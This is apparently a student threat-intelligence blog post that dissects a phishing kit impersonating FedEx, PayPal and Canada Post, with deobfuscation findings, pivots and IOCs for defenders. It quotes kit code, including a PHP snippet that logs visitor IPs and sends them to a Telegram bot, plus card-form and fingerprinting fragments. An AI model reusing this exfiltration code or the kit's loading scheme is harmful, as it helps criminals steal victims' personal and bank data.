aksnk

Fake portals everywhere [1] — Autopsy of a FedEx phishing kit

Analysis of a phishing kit observed on a fraudulent domain: loading via jsDelivr, JSFuck script, exfiltration through the Telegram Bot API and cross-kit pivots.

This note and the investigation it builds on were carried out by Sinclair M. and Axel K., students in the Intelligence and Cyberthreats major at Oteria. The article is available on sinclair-moulager.com and blog.aksnk.com.

Symbolic illustration of phishing

Introduction

Phishing is a technique that consists in tricking a victim by impersonating a legitimate source in order to harvest personal — sometimes sensitive — information.

In 2026, it has become relevant to talk about a phishing ecosystem, a notion echoed for example by Flare, which describes “a mature underground industry” made up of specialised actors who have moved phishing from a “simple technique” to a “service”.

This shift has notably given rise to phishing kits: ready-to-use packages, provided by malicious actors, bundling everything needed to run a phishing campaign — pages, services, hosting. These kits now fit into a Phishing-as-a-Service (PhaaS) logic, a recent and streamlined evolution of the phishing industry.

It is in this context that we started an investigation into a malicious domain, identified through its use of the visual identity of a parcel-delivery company, which allowed us to surface a small phishing infrastructure tied notably to FedEx, PayPal and Canada Post.

Analysis

Starting point

Our investigation starts with a domain targeting FedEx users. An unsuspecting visitor can easily be fooled by the particularly convincing appearance of the site: visual identity faithful to the brand, content with no obvious mistakes, and the keyword colis (parcel) in the domain name.

Screenshot of the domain colisrelay-regularisation[.]fr

Screenshot 1 — hxxps://colisrelay-regularisation[.]fr

A closer look, however, quickly exposes the malicious nature of the site.

Page and content analysis

Once the Captcha is cleared, the user is taken to a page asking for their personal information, then their bank card details. Beyond the kit’s classic modus operandi and its rather basic look, what caught our attention was a JS script imported from GitHub.

Page source containing an import from cdn.jsdelivr.net

Screenshot 2 — Import of an external script via cdn.jsdelivr.net on a page impersonating FedEx.

Naturally, our attention turned to this illegitimate import sitting on a domain that’s supposed to mimic a FedEx page.

Technical note

cdn.jsdelivr.net is a CDN (Content Delivery Network), a group of servers that caches content close to users geographically. Here, the CDN is used to deploy code straight from GitHub (jsDelivr documentation).

Diagram of the cdn.jsdelivr.net URL detailing each segment

Screenshot 3 — Breakdown of a jsDelivr URL (CDN, source, user, repo, version, file).

The loaded code is in JSFuck, an esoteric flavour of JavaScript that obfuscates content by using only six characters ([]()!+).

GitHub repo containing a JSFuck file

Screenshot 4 — The f.js file hosted on GitHub, written entirely in JSFuck.

Once decoded, the script reveals interesting things about how the site behaves:

  • browser fingerprinting functions,
  • collection of the data entered in the form,
  • exfiltration of the structured data to Telegram.

Pivots

The way this kit operates is highly distinctive and offers plenty of pivots for analysts looking to track it.

The GitHub path

A search on urlscan.io based on the loader’s filename surfaces 5 other domains reusing the same loading scheme.

urlscan.io results for the cdn.jsdelivr.net filename

Screenshot 5 — urlscan.io returns several domains sharing the same loader.

Two other elements give us additional pivots.

The GitHub account and the YouTube channel

The first one is tied to the GitHub account’s username, which lets us bounce onto a YouTube channel promoting several phishing kits, with download links (mediafire) posted directly in the comments.

YouTube channel promoting phishing kits

Screenshot 6 — YouTube channel showcasing kit demos (PayPal, FedEx) and pointing to their downloads.

The use of Telegram

The second pivot is the use of Telegram, already spotted while deobfuscating the JS script in charge of sending the data. The target account is also referenced by the kit reseller on YouTube, which strengthens the operator’s identification. On the associated Telegram channel, several kits are being distributed:

FedEx kit announcement on Telegram

Screenshot 7 — FedEx kit being distributed on Telegram, with screenshots of the page and a mediafire link.

PayPal kit announcement on Telegram

Screenshot 8 — PayPal kit distribution, including a full flow with confirmation page.

Canada Post kit announcement on Telegram

Screenshot 9 — Distribution of a kit targeting Canada Post.

Looking inside the kits

Going through these three folders first confirms the kit logic: ready-to-use files and a php.ini configuration file.

Directory tree of a phishing kit

Screenshot 10 — Typical kit layout: PHP pages, static assets (CSS, JS, images), an outbound folder and a configuration file.

The config.php is ready to be customised by the end operator, who only needs to plug in their Telegram token and chat_id:

<?php
$captcha_on = true;          // <-- change true / false
$Email      = 'Your_EMAIL@domain.com';
$api        = "your_api_telegram";
$chatid     = "your_chat_id_telegram";
?>

Looking through the files also gives a deeper view of how the kits work and what they’re after, in particular technical fingerprinting of the visitor built from the User-Agent:

function getOperatingSystem($userAgent) {
    if (preg_match('/Windows NT 10.0/', $userAgent)) {
        return 'Windows 10 or Windows 11';
    } elseif (preg_match('/Mac OS X ([\d_]+)/', $userAgent, $matches)) {
        $version = str_replace('_', '.', $matches[1]);
        return "macOS $version";
    } elseif (preg_match('/Android ([\d.]+)/', $userAgent, $matches)) {
        return "Android " . $matches[1];
    } elseif (preg_match('/CPU iPhone OS ([\d_]+)/', $userAgent, $matches)) {
        $version = str_replace('_', '.', $matches[1]);
        return "iOS $version";
    }
    // [...]
}

This information is then sent along with the bank details captured from the form:

document.getElementById('konzform').addEventListener('submit', function (e) {
    const cardNumber = document.getElementById('card_number');
    const expiry     = document.getElementById('expiry');
    const cvv        = document.getElementById('cvv');
    // [...]
});

We also notice, in the PayPal kit, the use of a p5.js script, not referenced on urlscan.io at the time of the investigation, loaded through the same CDN:

<script src="https://cdn.jsdelivr.net/gh/[REDACTED]/jsdelivr@latest/p5.js"></script>

On top of sending the stolen information, we also spot a visitor logging logic, likely used by the operator to monitor how their phishing page is performing:

// Log the visit
$logFile = fopen("Visit.txt", "a");
fwrite($logFile, $ip . " - Country: " . $COUNTRY . " {$FLAG} - "
    . gmdate("Y-n-d") . " @ " . gmdate("H:i:s") . "\n");
fclose($logFile);

// Send Telegram message
$message = "########## PayPal Visit ##########\n"
    . "IP: whatismyip.com/ip/" . $ip . "\n"
    . "Country: {$COUNTRY} {$FLAG}\n"
    . "City: {$CITY}\n"
    . "Region: {$REGION}\n"
    . "Zip: {$ZIPCODE}\n"
    . "Location: {$LOC}\n"
    . "Organization: {$ORG}\n"
    . "Timezone: {$TIMEZONE}\n";

file_get_contents("https://api.telegram.org/bot{$api}/sendMessage?chat_id={$chatid}&text="
    . urlencode($message));

header("Location: ./confirmation");

How it all fits together

Diagram summarising the observed infrastructure

Screenshot 11 — Big picture: a central GitHub repo, several distinct JS scripts, plugged into the domains impersonating FedEx, PayPal and Canada Post.

So what?

Using cdn.jsdelivr.net as a loader isn’t new. It’s been documented by several earlier investigations. We still wanted to put the spotlight back on it because it offers attackers a number of advantages:

  • Apparent legitimacy — a *.jsdelivr.net domain is almost never blocked by enterprise filtering solutions, since the service is widely used by legitimate projects.
  • Free and reliable — the service is free, performant and backed by GitHub: no infrastructure to maintain on the attacker’s side.
  • Mutable payload — a single commit on the GitHub repo is enough to change the kit’s behaviour for every downstream victim.

That said, this modus operandi also leaves several artefacts defenders can exploit: the jsdelivr.net/gh/<user>/<repo> chain forms a very specific marker, the GitHub account itself can serve as a pivot point, and reusing the same identifier across GitHub, YouTube and Telegram makes the analyst’s job significantly easier.

IOCs

TypeValueTargeted service
Domaincolisrelay-regularisation[.]frFedEx
Domainfillupinfo[.]vipFedEx
Domainlfr.tjb.temporary[.]siteCanada Post
Domainbikerportalv2.kitzhost[.]comPayPal
Domainppaccount[.]bizPayPal
Domainsrv241842.hoster-test[.]ruPayPal
Abused CDNcdn.jsdelivr.net (path /gh/<user>/<repo>)
ExfiltrationTelegram API (api.telegram.org/bot<token>/sendMessage)
Script p1.js123711bf5ac11cbf2773141d45b7cb9d2a374542719b6140211592b5f6a24200
Script cp1.jsd06f1bb2f7abdb151333a4e360b40c0d79cd31d957b1c30064df266f2a401750
Script fc.js80acce49353be433f065add1a97f9f52b01359c13d0a3ec4fc6991e5dfc04205
Script f.js2feffbe43aebaf84f02fb1c0b38bf4453fd40122fa3c219886847c357157aa2a
references
  1. Flare — The Phishing Kits Economy. https://fr.flare.io/learn/resources/phishing-kits-economy-cybercrime
  2. Cloudflare — What is a phishing attack?. https://www.cloudflare.com/fr-fr/learning/access-management/phishing-attack/
  3. jsDelivr — GitHub CDN documentation. https://www.jsdelivr.com/github